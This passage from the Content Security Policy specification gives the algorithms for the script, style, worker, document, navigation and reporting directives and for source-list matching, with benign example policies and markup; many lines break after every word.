and policy is "No
", return "Allowed
". -
Return the result of executing § 6.6.1.1 Script directives pre-request check on request , this directive, and policy .
6.1.11.2.
script-src
Post-request
check
This directive’s post-request check is as follows:
Given a request ( request ), a response ( response ), and a policy ( policy ):
-
Let name be the result of executing § 6.7.1 Get the effective directive for request on request .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
script-src
and policy is "No
", return "Allowed
". -
Return the result of executing § 6.6.1.2 Script directives post-request check on request , response , this directive, and policy .
6.1.11.3.
script-src
Inline
Check
This directive’s inline check algorithm is as follows:
Given
an
Element
(
element
),
a
string
(
type
),
a
policy
(
policy
)
and
a
string
(
source
):
-
Assert: element is not
null
or type is "navigation
". -
Let name be the result of executing § 6.7.2 Get the effective directive for inline checks on type .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
script-src
and policy is "No
", return "Allowed
". -
If the result of executing § 6.6.3.3 Does element match source list for type and source? on element , this directive’s value , type , and source , is "
Does Not Match
", return "Blocked
". -
Return "
Allowed
".
6.1.12.
script-src-elem
The syntax for the directive’s name and value is described by the following ABNF:
directive-name = "script-src-elem" directive-value = serialized-source-list
The
script-src-elem
directive
applies
to
all
script
requests
and
script
blocks.
Attributes
that
execute
script
(inline
event
handlers)
are
controlled
via
script-src-attr
.
As
such,
the
following
differences
exist
when
comparing
to
script-src
:
-
script-src-elem
applies to inline checks whose|type|
is "script
" and "navigation
" (and is ignored for inline checks whose|type|
is "script attribute
"). -
script-src-elem
's value is not used for JavaScript execution sink checks that are gated on the "unsafe-eval
" check. -
script-src-elem
is not used as a fallback for theworker-src
directive. Theworker-src
checks still fall back on thescript-src
directive.
6.1.12.1.
script-src-elem
Pre-request
check
This directive’s pre-request check is as follows:
Given a request ( request ) and a policy ( policy ):
-
Let name be the result of executing § 6.7.1 Get the effective directive for request on request .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
script-src-elem
and policy is "No
", return "Allowed
". -
Return the result of executing § 6.6.1.1 Script directives pre-request check on request , this directive, and policy .
6.1.12.2.
script-src-elem
Post-request
check
This directive’s post-request check is as follows:
Given a request ( request ), a response ( response ), and a policy ( policy ):
-
Let name be the result of executing § 6.7.1 Get the effective directive for request on request .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
script-src-elem
and policy is "No
", return "Allowed
". -
Return the result of executing § 6.6.1.2 Script directives post-request check on request , response , this directive, and policy .
6.1.12.3.
script-src-elem
Inline
Check
This directive’s inline check algorithm is as follows:
Given
an
Element
(
element
),
a
string
(
type
),
a
policy
(
policy
)
and
a
string
(
source
):
-
Assert: element is not
null
or type is "navigation
". -
Let name be the result of executing § 6.7.2 Get the effective directive for inline checks on type .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
script-src-elem
, and policy is "No
", return "Allowed
". -
If the result of executing § 6.6.3.3 Does element match source list for type and source? on element , this directive’s value , type , and source is "
Does Not Match
", return "Blocked
". -
Return "
Allowed
".
6.1.13.
script-src-attr
The syntax for the directive’s name and value is described by the following ABNF:
directive-name = "script-src-attr" directive-value = serialized-source-list
The
script-src-attr
directive
applies
to
event
handlers
and,
if
present,
it
will
override
the
script-src
directive
for
relevant
checks.
6.1.13.1.
script-src-attr
Inline
Check
This directive’s inline check algorithm is as follows:
Given
an
Element
(
element
),
a
string
(
type
),
a
policy
(
policy
)
and
a
string
(
source
):
-
Assert: element is not
null
or type is "navigation
". -
Let name be the result of executing § 6.7.2 Get the effective directive for inline checks on type .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
script-src-attr
and policy is "No
", return "Allowed
". -
If the result of executing § 6.6.3.3 Does element match source list for type and source? on element , this directive’s value , type , and source , is "
Does Not Match
", return "Blocked
". -
Return "
Allowed
".
6.1.14.
style-src
The
style-src
directive
restricts
the
locations
from
which
style
may
be
applied
to
a
Document
.
The
syntax
for
the
directive’s
name
and
value
is
described
by
the
following
ABNF:
directive-name = "style-src" directive-value = serialized-source-list
The
style-src
directive
governs
several
things:
-
Style requests MUST pass through § 4.1.3 Should request be blocked by Content Security Policy? . This includes:
-
Responses to style requests MUST pass through § 4.1.4 Should response to request be blocked by Content Security Policy? .
-
Inline
style
blocks MUST pass through § 4.2.4 Should element’s inline type behavior be blocked by Content Security Policy? . The styles will be blocked unless every policy allows inline style, either implicitly by not specifying astyle-src
(ordefault-src
) directive, or explicitly, by specifying "unsafe-inline
", a nonce-source or a hash-source that matches the inline block. -
The following CSS algorithms are gated on the
unsafe-eval
source expression:This would include, for example, all invocations of CSSOM’s various
cssText
setters andinsertRule
methods [CSSOM] [HTML] .This needs to be better explained. <https://github.com/w3c/webappsec-csp/issues/212>
6.1.14.1.
style-src
Pre-request
Check
This directive’s pre-request check is as follows:
Given a request ( request ) and a policy ( policy ):
-
Let name be the result of executing § 6.7.1 Get the effective directive for request on request .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
style-src
and policy is "No
", return "Allowed
". -
If the result of executing § 6.6.2.2 Does nonce match source list? on request ’s cryptographic nonce metadata and this directive’s value is "
Matches
", return "Allowed
". -
If the result of executing § 6.6.2.3 Does request match source list? on request , this directive’s value , and policy , is "
Does Not Match
", return "Blocked
". -
Return "
Allowed
".
6.1.14.2.
style-src
Post-request
Check
This directive’s post-request check is as follows:
Given a request ( request ), a response ( response ), and a policy ( policy ):
-
Let name be the result of executing § 6.7.1 Get the effective directive for request on request .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
style-src
and policy is "No
", return "Allowed
". -
If the result of executing § 6.6.2.2 Does nonce match source list? on request ’s cryptographic nonce metadata and this directive’s value is "
Matches
", return "Allowed
". -
If the result of executing § 6.6.2.4 Does response to request match source list? on response , request , this directive’s value , and policy , is "
Does Not Match
", return "Blocked
". -
Return "
Allowed
".
6.1.14.3.
style-src
Inline
Check
This directive’s inline check algorithm is as follows:
Given
an
Element
(
element
),
a
string
(
type
),
a
policy
(
policy
)
and
a
string
(
source
):
-
Let name be the result of executing § 6.7.2 Get the effective directive for inline checks on type .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
style-src
and policy is "No
", return "Allowed
". -
If the result of executing § 6.6.3.3 Does element match source list for type and source? on element , this directive’s value , type , and source , is "
Does Not Match
", return "Blocked
". -
Return "
Allowed
".
This directive’s initialization algorithm is as follows:
Do something interesting to the execution context in order to lock down interesting CSSOM algorithms. I don’t think CSSOM gives us any hooks here, so let’s work with them to put something reasonable together.
6.1.15.
style-src-elem
The syntax for the directive’s name and value is described by the following ABNF:
directive-name = "style-src-elem" directive-value = serialized-source-list
The style-src-elem directive governs the behaviour of styles except for styles defined in inline attributes.
6.1.15.1.
style-src-elem
Pre-request
Check
This directive’s pre-request check is as follows:
Given a request ( request ) and a policy ( policy ):
-
Let name be the result of executing § 6.7.1 Get the effective directive for request on request .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
style-src-elem
and policy is "No
", return "Allowed
". -
If the result of executing § 6.6.2.2 Does nonce match source list? on request ’s cryptographic nonce metadata and this directive’s value is "
Matches
", return "Allowed
". -
If the result of executing § 6.6.2.3 Does request match source list? on request , this directive’s value , and policy , is "
Does Not Match
", return "Blocked
". -
Return "
Allowed
".
6.1.15.2.
style-src-elem
Post-request
Check
This directive’s post-request check is as follows:
Given a request ( request ), a response ( response ), and a policy ( policy ):
-
Let name be the result of executing § 6.7.1 Get the effective directive for request on request .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
style-src-elem
and policy is "No
", return "Allowed
". -
If the result of executing § 6.6.2.2 Does nonce match source list? on request ’s cryptographic nonce metadata and this directive’s value is "
Matches
", return "Allowed
". -
If the result of executing § 6.6.2.4 Does response to request match source list? on response , request , this directive’s value , and policy , is "
Does Not Match
", return "Blocked
". -
Return "
Allowed
".
6.1.15.3.
style-src-elem
Inline
Check
This directive’s inline check algorithm is as follows:
Given
an
Element
(
element
),
a
string
(
type
),
a
policy
(
policy
)
and
a
string
(
source
):
-
Let name be the result of executing § 6.7.2 Get the effective directive for inline checks on type .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
style-src-elem
and policy is "No
", return "Allowed
". -
If the result of executing § 6.6.3.3 Does element match source list for type and source? on element , this directive’s value , type , and source , is "
Does Not Match
", return "Blocked
". -
Return "
Allowed
".
6.1.16.
style-src-attr
The syntax for the directive’s name and value is described by the following ABNF:
directive-name = "style-src-attr" directive-value = serialized-source-list
The style-src-attr directive governs the behaviour of style attributes.
6.1.16.1.
style-src-attr
Inline
Check
This directive’s inline check algorithm is as follows:
Given
an
Element
(
element
),
a
string
(
type
),
a
policy
(
policy
)
and
a
string
(
source
):
-
Let name be the result of executing § 6.7.2 Get the effective directive for inline checks on type .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
style-src-attr
and policy is "No
", return "Allowed
". -
If the result of executing § 6.6.3.3 Does element match source list for type and source? on element , this directive’s value , type , and source , is "
Does Not Match
", return "Blocked
". -
Return "
Allowed
".
6.1.17.
worker-src
The
worker-src
directive
restricts
the
URLs
which
may
be
loaded
as
a
Worker
,
SharedWorker
,
or
ServiceWorker
.
The
syntax
for
the
directive’s
name
and
value
is
described
by
the
following
ABNF:
directive-name = "worker-src" directive-value = serialized-source-list
Content-Security-Policy: worker-src https://example.com/
Fetches
for
the
following
code
will
return
a
network
errors,
as
the
URL
provided
do
not
match
worker-src
's
source
list
:
< script > var blockedWorker= new Worker( "data:application/javascript,..." ); blockedWorker= new SharedWorker( "https://example.org/" ); navigator. serviceWorker. register( 'https://example.org/sw.js' ); </ script >
6.1.17.1.
worker-src
Pre-request
Check
This directive’s pre-request check is as follows:
Given a request ( request ) and a policy ( policy ):
-
Let name be the result of executing § 6.7.1 Get the effective directive for request on request .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
worker-src
and policy is "No
", return "Allowed
". -
If the result of executing § 6.6.2.3 Does request match source list? on request , this directive’s value , and policy , is "
Does Not Match
", return "Blocked
". -
Return "
Allowed
".
6.1.17.2.
worker-src
Post-request
Check
This directive’s post-request check is as follows:
Given a request ( request ), a response ( response ), and a policy ( policy ):
-
Let name be the result of executing § 6.7.1 Get the effective directive for request on request .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
worker-src
and policy is "No
", return "Allowed
". -
If the result of executing § 6.6.2.4 Does response to request match source list? on response , request , this directive’s value , and policy , is "
Does Not Match
", return "Blocked
". -
Return "
Allowed
".
6.2. Document Directives
The following directives govern the properties of a document or worker environment to which a policy applies.
6.2.1.
base-uri
The
base-uri
directive
restricts
the
URL
s
which
can
be
used
in
a
Document
's
base
element.
The
syntax
for
the
directive’s
name
and
value
is
described
by
the
following
ABNF:
directive-name = "base-uri" directive-value = serialized-source-list
The following algorithm is called during HTML’s set the frozen base url algorithm in order to monitor and enforce this directive:
6.2.1.1. Is base allowed for document ?
Given
a
URL
(
base
),
and
a
Document
(
document
),
this
algorithm
returns
"
Allowed
"
if
base
may
be
used
as
the
value
of
a
base
element’s
href
attribute,
and
"
Blocked
"
otherwise:
-
For each policy in document ’s global object ’s csp list :
-
Let source list be
null
. -
If a directive whose name is "
base-uri
" is present in policy ’s directive set , set source list to that directive ’s value . -
If source list is
null
, skip to the next policy . -
If the result of executing § 6.6.2.5 Does url match source list in origin with redirect count? on base , source list , policy ’s self-origin , and
0
is "Does Not Match
":-
Let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on document ’s global object , policy , and "
base-uri
". -
Set violation ’s resource to "
inline
". -
Execute § 5.3 Report a violation on violation .
-
If policy ’s disposition is "
enforce
", return "Blocked
".
-
Note: We compare against the fallback base URL in order to deal correctly with things like an iframe
srcdoc
Document
which has been sandboxed into an opaque origin. -
-
Return "
Allowed
".
6.2.2.
plugin-types
The plugin-types directive restricts the set of plugins that can be embedded into a document by limiting the types of resources which can be loaded. The directive’s syntax is described by the following ABNF grammar:
directive-name = "plugin-types" directive-value = media-type-list media-type-list = "" / media-type *( required-ascii-whitespace media-type ) media-type = type "/" subtype ; type and subtype are defined in RFC 2045
If
a
plugin-types
directive
is
present,
instantiation
of
an
embed
or
object
element
will
fail
if
any
of
the
following
conditions
hold:
-
The element does not explicitly declare a valid MIME type via a
type
attribute. -
The declared type does not match one of the items in the directive’s value.
-
The fetched resource does not match the declared type.
Note:
The
plugin-types
grammar
allows
for
an
empty
directive
value
in
which
case
all
instantions
of
embed
and
object
will
fail.
Content-Security-Policy: plugin-types application/pdf
Fetches for the following code will all return network errors:
<!-- No 'type' declaration --> < object data = "https://example.com/flash" ></ object > <!-- Non-matching 'type' declaration --> < object data = "https://example.com/flash" type = "application/x-shockwave-flash" ></ object > <!-- Non-matching resource --> < object data = "https://example.com/flash" type = "application/pdf" ></ object >
If the page allowed Flash content by sending the following header:
Content-Security-Policy: plugin-types application/x-shockwave-flash
Then the second item above would load successfully:
<!-- Matching 'type' declaration and resource --> < object data = "https://example.com/flash" type = "application/x-shockwave-flash" ></ object >
6.2.2.1.
plugin-types
Post-Request
Check
This directive’s post-request check algorithm is as follows:
Given a request ( request ), a response ( response ), and a policy ( policy ):
-
Assert: policy is unused.
-
If request ’s destination is either "
object
" or "embed
":-
Let type be the result of extracting a MIME type from response ’s header list .
-
If type is not an ASCII case-insensitive match for any item in this directive’s value , return "
Blocked
".
-
-
Return "
Allowed
".
6.2.2.2. Should plugin element be blocked a priori by Content Security Policy?:
Given
an
Element
(
plugin
element
),
this
algorithm
returns
"
Blocked
"
or
"
Allowed
"
based
on
the
element’s
type
attribute
and
the
policy
applied
to
its
document:
-
For each policy in plugin element ’s node document ’s CSP list :
-
If policy contains a directive ( directive ) whose name is
plugin-types
:-
Let type be "
application/x-java-applet
" if plugin element is anapplet
element, or plugin element ’stype
attribute’s value if present, or "null
" otherwise. -
Return "
Blocked
" if any of the following are true:-
type is
null
. -
type is not a valid MIME type .
-
type is not an ASCII case-insensitive match for any item in directive ’s value .
-
-
-
-
Return "
Allowed
".
6.2.3.
sandbox
The
sandbox
directive
specifies
an
HTML
sandbox
policy
which
the
user
agent
will
apply
to
a
resource,
just
as
though
it
had
been
included
in
an
iframe
with
a
sandbox
property.
The
directive’s
syntax
is
described
by
the
following
ABNF
grammar,
with
the
additional
requirement
that
each
token
value
MUST
be
one
of
the
keywords
defined
by
HTML
specification
as
allowed
values
for
the
iframe
sandbox
attribute
[HTML]
.
directive-name = "sandbox" directive-value = "" / token *( required-ascii-whitespace token )
This
directive
has
no
reporting
requirements;
it
will
be
ignored
entirely
when
delivered
in
a
Content-Security-Policy-Report-Only
header,
or
within
a
meta
element.
6.2.3.1.
sandbox
Response
Check
This directive’s response check algorithm is as follows:
Given a request ( request ), a response ( response ), and a policy ( policy ):
-
Assert: response is unused.
-
If policy ’s disposition is not "
enforce
", then return "Allowed
". -
If request ’s destination is one of "
serviceworker
", "sharedworker
", or "worker
":-
If the result of the Parse a sandboxing directive algorithm using this directive’s value as the input contains either the sandboxed scripts browsing context flag or the sandboxed origin browsing context flag flags, return "
Blocked
".Note: This will need to change if we allow Workers to be sandboxed into unique origins, which seems like a pretty reasonable thing to do.
-
-
Return "
Allowed
".
6.2.3.2.
sandbox
Initialization
This
directive’s
initialization
algorithm
is
responsible
for
adjusting
a
Document
's
forced
sandboxing
flag
set
according
to
the
sandbox
values
present
in
its
policies,
as
follows:
Given
a
Document
or
global
object
(
context
),
a
response
(
response
),
and
a
policy
(
policy
):
-
Assert: response is unused.
-
If policy ’s disposition is not "
enforce
", or context is not aDocument
, then abort this algorithm.Note: This will need to change if we allow Workers to be sandboxed, which seems like a pretty reasonable thing to do.
-
Parse a sandboxing directive using this directive’s value as the input, and context ’s forced sandboxing flag set as the output.
6.3. Navigation Directives
6.3.1.
form-action
The
form-action
directive
restricts
the
URL
s
which
can
be
used
as
the
target
of
a
form
submissions
from
a
given
context.
The
directive’s
syntax
is
described
by
the
following
ABNF
grammar:
directive-name = "form-action" directive-value = serialized-source-list
6.3.1.1.
form-action
Pre-Navigation
Check
Given
a
request
(
request
),
a
string
navigation
type
("
form-submission
"
or
"
other
"),
and
a
policy
(
policy
)
this
algorithm
returns
"
Blocked
"
if
a
form
submission
violates
the
form-action
directive’s
constraints,
and
"
Allowed
"
otherwise.
This
constitutes
the
form-action
directive’s
pre-navigation
check
:
-
Assert: policy is unused in this algorithm.
-
If navigation type is "
form-submission
":-
If the result of executing § 6.6.2.3 Does request match source list? on request , this directive’s value , and a policy , is "
Does Not Match
", return "Blocked
".
-
-
Return "
Allowed
".
6.3.2.
frame-ancestors
The
frame-ancestors
directive
restricts
the
URL
s
which
can
embed
the
resource
using
frame
,
iframe
,
object
,
embed
,
or
applet
element.
Resources
can
use
this
directive
to
avoid
many
UI
Redressing
[UISECURITY]
attacks,
by
avoiding
the
risk
of
being
embedded
into
potentially
hostile
contexts.
The directive’s syntax is described by the following ABNF grammar:
directive-name = "frame-ancestors" directive-value = ancestor-source-list ancestor-source-list = ( ancestor-source *( required-ascii-whitespace ancestor-source) ) / "'none'" ancestor-source = scheme-source / host-source / "'self'"
The
frame-ancestors
directive
MUST
be
ignored
when
contained
in
a
policy
declared
via
a
meta
element.
Note:
The
frame-ancestors
directive’s
syntax
is
similar
to
a
source
list
,
but
frame-ancestors
will
not
fall
back
to
the
default-src
directive’s
value
if
one
is
specified.
That
is,
a
policy
that
declares
default-src
'none'
will
still
allow
the
resource
to
be
embedded
by
anyone.
6.3.2.1.
frame-ancestors
Navigation
Response
Check
Given
a
request
(
request
),
a
string
navigation
type
("
form-submission
"
or
"
other
"),
a
response
(
navigation
response
)
a
browsing
context
(
target
),
a
string
check
type
("
source
"
or
"
response
"),
and
a
policy
(
policy
)
this
algorithm
returns
"
Blocked
"
if
one
or
more
of
the
ancestors
of
target
violate
the
frame-ancestors
directive
delivered
with
the
response,
and
"
Allowed
"
otherwise.
This
constitutes
the
frame-ancestors
directive’s
navigation
response
check
:
-
Assert: request , navigation response , and navigation type , are unused in this algorithm, as
frame-ancestors
is concerned only with navigation response ’s frame-ancestors directive . -
If check type is "
source
", return "Allowed
".Note: The 'frame-ancestors' directive is relevant only to the target browsing context and it has no impact on the request ’s context.
-
If target is not a nested browsing context , return "
Allowed
". -
Let current be target .
-
While current is a nested browsing context :
-
Let document be the
Document
that current is nested through . -
Let origin be the result of executing the URL parser on the ASCII serialization of document ’s
origin
. -
If § 6.6.2.5 Does url match source list in origin with redirect count? returns
Does Not Match
when executed upon origin , this directive’s value , policy ’s self-origin , and0
, return "Blocked
". -
Set current to document ’s browsing context .
-
-
Return "
Allowed
".
6.3.2.2.
Relation
to
X-Frame-Options
This
directive
is
similar
to
the
X-Frame-Options
header
that
several
user
agents
have
implemented.
The
'none'
source
expression
is
roughly
equivalent
to
that
header’s
DENY
,
'self'
to
SAMEORIGIN
,
and
so
on.
The
major
difference
is
that
many
user
agents
implement
SAMEORIGIN
such
that
it
only
matches
against
the
top-level
document’s
location,
while
the
frame-ancestors
directive
checks
against
each
ancestor.
If
_any_
ancestor
doesn’t
match,
the
load
is
cancelled.
[RFC7034]
In
order
to
allow
backwards-compatible
deployment,
the
frame-ancestors
directive
_obsoletes_
the
X-Frame-Options
header.
If
a
resource
is
delivered
with
an
policy
that
includes
a
directive
named
frame-ancestors
and
whose
disposition
is
"
enforce
",
then
the
X-Frame-Options
header
MUST
be
ignored.
Spell
this
out
in
more
detail
as
part
of
defining
X-Frame-Options
integration
with
the
process
a
navigate
response
algorithm.
<https://github.com/whatwg/html/issues/1230>
6.3.3.
navigate-to
The
navigate-to
directive
restricts
the
URL
s
to
which
a
document
can
initiate
navigations
by
any
means
(
a
,
form
,
window.location
,
window.open
,
etc.).
This
is
an
enforcement
on
what
navigations
this
document
initiates
not
on
what
this
document
is
allowed
to
navigate
to.
If
the
form-action
directive
is
present,
the
navigate-to
directive
will
not
act
on
navigations
that
are
form
submissions.
Content-Security-Policy
:
Content-Security-Policy: navigate-to example.com
A
document
target
has
the
following
Content-Security-Policy
:
Content-Security-Policy: navigate-to not-example.com
If
the
initiator
attempts
to
navigate
the
target
to
example.com
,
the
navigation
is
allowed
by
the
navigate-to
directive.
If
the
initiator
attempts
to
navigate
the
target
to
not-example.com
,
the
navigation
is
blocked
by
the
navigate-to
directive.
The directive’s syntax is described by the following ABNF grammar:
directive-name = "navigate-to" directive-value = serialized-source-list
6.3.3.1.
navigate-to
Pre-Navigation
Check
Given
a
request
(
request
),
a
string
navigation
type
("
form-submission
"
or
"
other
"),
and
a
policy
(
policy
),
this
algorithm
returns
"
Blocked
"
if
the
navigation
violates
the
navigate-to
directive’s
constraints,
and
"
Allowed
"
otherwise.
This
constitutes
the
navigate-to
'
directive’s
pre-navigation
check
:
-
If navigation type is "
form-submission
" and policy contains a directive named "form-action
", return "Allowed
". -
If this directive’s value contains a source expression that is an ASCII case-insensitive match for the "
'unsafe-allow-redirects'
" keyword-source , return "Allowed
".Note: If the 'unsafe-allow-redirects' flag is present we have to wait for the response and take into account the response ’s status in § 6.3.3.2 navigate-to Navigation Response Check .
-
If the result of executing § 6.6.2.3 Does request match source list? on request , this directive’s value , and policy , is "
Does Not Match
", return "Blocked
". -
Return "
Allowed
".
6.3.3.2.
navigate-to
Navigation
Response
Check
Given
a
request
(
request
),
a
string
navigation
type
("
form-submission
"
or
"
other
"),
a
response
(
navigation
response
)
a
browsing
context
(
target
),
a
string
check
type
("
source
"
or
"
response
"),
and
a
policy
(
policy
),
this
algorithm
returns
"
Blocked
"
if
the
navigation
violates
the
navigate-to
directive’s
constraints,
and
"
Allowed
"
otherwise.
This
constitutes
the
navigate-to
directive’s
navigation
response
check
:
-
Assert: target is unused.
-
If check type is "
response
", return "Allowed
".Note: The 'navigate-to' directive is relevant only to the request ’s context and it has no impact on the target browsing context .
-
If navigation type is "
form-submission
" and policy contains a directive named "form-action
", return "Allowed
". -
If this directive’s value does not contain a source expression that is an ASCII case-insensitive match for the "
'unsafe-allow-redirects'
" keyword-source , return "Allowed
".Note: If the 'unsafe-allow-redirects' flag is not present we have already checked the navigation in § 6.3.3.1 navigate-to Pre-Navigation Check .
-
If navigation response ’s status is a redirect status , return "
Allowed
". -
If the result of executing § 6.6.2.3 Does request match source list? on request , this directive’s value , and policy , is "
Does Not Match
", return "Blocked
". -
Return "
Allowed
".
6.4. Reporting Directives
Various algorithms in this document hook into the reporting process by constructing a violation object via § 2.4.2 Create a violation object for request, and policy. or § 2.4.1 Create a violation object for global, policy, and directive , and passing that object to § 5.3 Report a violation to deliver the report.
6.4.1.
report-uri
report-uri
directive
is
deprecated.
Please
use
the
report-to
directive
instead.
If
the
latter
directive
is
present,
this
directive
will
be
ignored.
To
ensure
backwards
compatibility,
we
suggest
specifying
both,
like
this:
Content-Security-Policy: ...; report-uri https://endpoint.com; report-to groupname
The
report-uri
directive
defines
a
set
of
endpoints
to
which
violation
reports
will
be
sent
when
particular
behaviors
are
prevented.
directive-name = "report-uri" directive-value = uri-reference *( required-ascii-whitespace uri-reference ) ; The uri-reference grammar is defined in Section 4.1 of RFC 3986.
The directive has no effect in and of itself, but only gains meaning in combination with other directives.
6.4.2.
report-to
The
report-to
directive
defines
a
reporting
group
to
which
violation
reports
ought
to
be
sent
[REPORTING]
.
The
directive’s
behavior
is
defined
in
§ 5.3
Report
a
violation
.
The
directive’s
name
and
value
are
described
by
the
following
ABNF:
directive-name = "report-to" directive-value = token
6.5. Directives Defined in Other Documents
This document defines a core set of directives, and sets up a framework for modular extension by other specifications. At the time this document was produced, the following stable documents extend CSP:
-
[MIX] defines
block-all-mixed-content
-
[UPGRADE-INSECURE-REQUESTS] defines
upgrade-insecure-requests
-
[SRI] defines
require-sri-for
Extensions to CSP MUST register themselves via the process outlined in [RFC7762] . In particular, note the criteria discussed in Section 4.2 of that document.
New directives SHOULD use the pre-request check , post-request check , response check , and initialization hooks in order to integrate themselves into Fetch and HTML.
6.6. Matching Algorithms
6.6.1. Script directive checks
6.6.1.1. Script directives pre-request check
Given a request ( request ), a directive ( directive ), and a policy ( policy ):
-
If request ’s destination is script-like :
-
If the result of executing § 6.6.2.2 Does nonce match source list? on request ’s cryptographic nonce metadata and this directive’s value is "
Matches
", return "Allowed
". -
Let integrity expressions be the set of source expressions in directive ’s value that match the hash-source grammar.
-
If integrity expressions is not empty:
-
Let integrity sources be the result of executing the algorithm defined in SRI §3.3.3 Parse metadata. on request ’s integrity metadata . [SRI]
-
If integrity sources is "
no metadata
" or an empty set, skip the remaining substeps. -
Let bypass due to integrity match be
true
. -
For each source in integrity sources :
-
If directive ’s value does not contain a source expression whose hash-algorithm is a case-sensitive match for source ’s
hash-algo
component, and whose base64-value is a case-sensitive match for source ’sbase64-value
, then set bypass due to integrity match tofalse
.
-
-
If bypass due to integrity match is
true
, return "Allowed
".
Note: Here, we verify only that the request contains a set of integrity metadata which is a subset of the hash-source source expressions specified by directive . We rely on the browser’s enforcement of Subresource Integrity [SRI] to block non-matching resources upon response.
-
-
If directive ’s value contains a source expression that is an ASCII case-insensitive match for the "
'strict-dynamic'
" keyword-source :-
If the request ’s parser metadata is "parser-inserted" , return "
Blocked
".Otherwise, return "
Allowed
".Note: "
'strict-dynamic'
" is explained in more detail in § 8.2 Usage of "'strict-dynamic'" .
-
-
If the result of executing § 6.6.2.3 Does request match source list? on request , directive ’s value , and policy , is "
Does Not Match
", return "Blocked
".
-
-
Return "
Allowed
".
6.6.1.2. Script directives post-request check
This directive’s post-request check is as follows:
Given a request ( request ), a response ( response ), a directive ( directive ), and a policy ( policy ):
-
If request ’s destination is script-like :
-
If the result of executing § 6.6.2.2 Does nonce match source list? on request ’s cryptographic nonce metadata and this directive’s value is "
Matches
", return "Allowed
". -
If directive ’s value contains "
'strict-dynamic'
", and request ’s parser metadata is not "parser-inserted" , return "Allowed
". -
If the result of executing § 6.6.2.4 Does response to request match source list? on response , request , directive ’s value , and policy , is "
Does Not Match
", return "Blocked
".
-
-
Return "
Allowed
".
6.6.2. URL Matching
6.6.2.1. Does request violate policy ?
Given
a
request
(
request
)
and
a
policy
(
policy
),
this
algorithm
returns
the
violated
directive
if
the
request
violates
the
policy,
and
"
Does
Not
Violate
"
otherwise.
-
Let violates be "
Does Not Violate
". -
For each directive in policy :
-
Let result be the result of executing directive ’s pre-request check on request and policy .
-
If result is "
Blocked
", then let violates be directive .
-
-
Return violates .
6.6.2.2. Does nonce match source list ?
Given
a
request
’s
cryptographic
nonce
metadata
(
nonce
)
and
a
source
list
(
source
list
),
this
algorithm
returns
"
Matches
"
if
the
nonce
matches
one
or
more
source
expressions
in
the
list,
and
"
Does
Not
Match
"
otherwise:
-
Assert: source list is not
null
. -
If nonce is the empty string, return "
Does Not Match
". -
For each expression in source list :
-
If expression matches the
nonce-source
grammar, and nonce is a case-sensitive match for expression ’sbase64-value
part, return "Matches
".
-
-
Return "
Does Not Match
".
6.6.2.3. Does request match source list ?
Given a request ( request ), a source list ( source list ), and a policy ( policy ), this algorithm returns the result of executing § 6.6.2.5 Does url match source list in origin with redirect count? on request ’s current url , source list , policy ’s self-origin , and request ’s redirect count .
Note: This is generally used in directives ' pre-request check algorithms to verify that a given request is reasonable.
6.6.2.4. Does response to request match source list ?
Given a request ( request ), and a source list ( source list ), and a policy ( policy ), this algorithm returns the result of executing § 6.6.2.5 Does url match source list in origin with redirect count? on response ’s url , source list , policy ’s self-origin , and request ’s redirect count .
Note: This is generally used in directives ' post-request check algorithms to verify that a given response is reasonable.
6.6.2.5. Does url match source list in origin with redirect count ?
Given
a
URL
(
url
),
a
source
list
(
source
list
),
an
origin
(
origin
),
and
a
number
(
redirect
count
),
this
algorithm
returns
"
Matches
"
if
the
URL
matches
one
or
more
source
expressions
in
source
list
,
or
"
Does
Not
Match
"
otherwise:
-
Assert: source list is not
null
. -
If source list is an empty list, return "
Does Not Match
". -
If source list contains a single item which is an ASCII case-insensitive match for the string "
'none'
", return "Does Not Match
".Note: An empty source list (that is, a directive without a value:
script-src
, as opposed toscript-src host1
) is equivalent to a source list containing'none'
, and will not match any URL. -
For each expression in source list :
-
If § 6.6.2.6 Does url match expression in origin with redirect count? returns "
Matches
" when executed upon url , expression , origin , and redirect count , return "Matches
".
-
-
Return "
Does Not Match
".
6.6.2.6. Does url match expression in origin with redirect count ?
Given
a
URL
(
url
),
a
source
expression
(
expression
),
an
origin
(
origin
),
and
a
number
(
redirect
count
),
this
algorithm
returns
"
Matches
"
if
url
matches
expression
,
and
"
Does
Not
Match
"
otherwise.
Note:
origin
is
the
origin
of
the
resource
relative
to
which
the
expression
should
be
resolved.
"
'self'
",
for
instance,
will
have
distinct
meaning
depending
on
that
bit
of
context.
-
If expression is the string "*", return "
Matches
" if one or more of the following conditions is met:-
url ’s scheme is a network scheme .
Note: This logic means that in order to allow a resource from a non- network scheme , it has to be either explicitly specified (e.g.
default-src * data: custom-scheme-1: custom-scheme-2:
), or the protected resource must be loaded from the same scheme. -
-
If expression matches the
scheme-source
orhost-source
grammar:-
If expression has a
scheme-part
, and it does notscheme-part
match url ’s scheme , return "Does Not Match
". -
If expression matches the
scheme-source
grammar, return "Matches
".
-
-
If expression matches the
host-source
grammar:-
If url ’s
host
isnull
, return "Does Not Match
". -
If expression does not have a
scheme-part
, and origin ’s scheme does notscheme-part
match url ’s scheme , return "Does Not Match
".Note: As with
scheme-part
above, we allow schemelesshost-source
expressions to be upgraded from insecure schemes to secure schemes. -
If expression ’s
host-part
does nothost-part
match url ’shost
, return "Does Not Match
". -
Let port-part be expression ’s
port-part
if present, andnull
otherwise. -
If port-part does not
port-part
match url ’s port and url ’s scheme , return "Does Not Match
". -
If expression contains a non-empty
path-part
, and redirect count is 0, then:-
Let path be the resulting of joining url ’s path on the U+002F SOLIDUS character (
/
). -
If expression ’s
path-part
does notpath-part
match path , return "Does Not Match
".
-
-
Return "
Matches
".
-
-
